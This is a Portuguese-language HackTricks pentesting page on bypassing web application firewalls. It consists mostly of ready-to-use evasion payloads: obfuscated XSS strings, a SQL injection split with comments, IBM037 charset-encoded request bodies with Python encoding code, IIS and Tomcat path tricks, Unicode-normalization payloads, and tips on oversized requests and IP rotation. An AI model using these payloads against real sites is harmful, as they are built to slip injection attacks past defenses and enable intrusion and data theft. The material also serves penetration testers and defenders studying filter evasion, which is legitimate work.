hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
2024-12-12 13:56:11 +01:00

84 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bypass do WAF
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Bypass de Regex
Diferentes técnicas podem ser usadas para contornar os filtros de regex nos firewalls. Exemplos incluem alternância de maiúsculas e minúsculas, adição de quebras de linha e codificação de payloads. Recursos para os vários bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Os exemplos abaixo foram retirados [deste artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Codificação de Conjunto de Caracteres
```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
## Ofuscação
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
## Compatibilidade Unicode
Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), caracteres que compartilham compatibilidade Unicode podem ser capazes de contornar o WAF e serem executados como a carga útil pretendida. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode)
### Exemplo
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
## Ultrapassando Limitações de Tamanho
É comum em WAFs baseados em nuvem que, se a carga útil for maior que o tamanho X, a solicitação não será verificada pelo WAF. Você pode simplesmente usar isso para contorná-los.
### Rotação de IP
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)